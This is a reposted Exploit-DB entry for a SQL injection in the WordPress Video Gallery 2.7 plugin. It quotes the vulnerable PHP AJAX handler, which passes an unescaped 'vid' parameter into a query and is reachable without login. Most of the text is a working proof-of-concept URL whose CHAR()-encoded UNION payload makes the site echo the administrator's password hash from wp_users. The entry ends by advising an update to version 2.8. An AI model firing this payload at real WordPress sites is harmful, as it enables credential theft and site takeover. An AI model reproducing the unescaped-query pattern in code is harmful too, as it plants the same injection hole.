WordPress Plugin Video Gallery 2.7 – SQL Injection

• Exploit Database
• 19 阅读

• 作者： Kacper Szurek
  日期： 2015-08-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37744/

• # Exploit Title: WordPress Video Gallery 2.7 SQL Injection
  # Date: 20-01-2015
  # Software Link: https://wordpress.org/plugins/contus-video-gallery/
  # Exploit Author: Kacper Szurek
  # Contact: http://twitter.com/KacperSzurek
  # Website: http://security.szurek.pl/
  # Category: webapps
  
  1. Description
  
  $_GET['vid'] is not escaped.
  
  google_adsense() is accessible for everyone.
  
  File: contus-video-gallery\hdflvvideoshare.php
  
  add_action('wp_ajax_googleadsense' ,'google_adsense');
  add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
  function google_adsense(){
  	global $wpdb;
  	$vid = $_GET['vid'];
  	$google_adsense_id =$wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
  	$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
  	$google_adsense = unserialize($query);
  	echo $google_adsense['googleadsense_code'];
  	die();
  }
  
  http://security.szurek.pl/wordpress-video-gallery-27-sql-injection.html
  
  2. Proof of Concept
  
  http://wordpress-url/wp-admin/admin-ajax.php?action=googleadsense&vid=0 UNION SELECT CAST(CHAR(48, 32, 85, 78, 73, 79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 67, 79, 78, 67, 65, 84, 40, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 57, 55, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 56, 44, 32, 49, 50, 51, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 54, 44, 32, 53, 56, 44, 32, 51, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 49, 44, 32, 49, 49, 49, 44, 32, 49, 48, 51, 44, 32, 49, 48, 56, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 57, 53, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 48, 44, 32, 49, 48, 49, 44, 32, 51, 52, 44, 32, 53, 57, 44, 32, 49, 49, 53, 44, 32, 53, 56, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 76, 69, 78, 71, 84, 72, 40, 117, 115, 101, 114, 95, 112, 97, 115, 115, 41, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 53, 56, 44, 32, 51, 52, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 117, 115, 101, 114, 95, 112, 97, 115, 115, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 51, 52, 44, 32, 53, 57, 44, 32, 49, 50, 53, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 41, 32, 70, 82, 79, 77, 32, 119, 112, 95, 117, 115, 101, 114, 115, 32, 87, 72, 69, 82, 69, 32, 73, 68, 32, 61, 32, 49) as CHAR)
  
  3. Solution:
  
  Update to version 2.8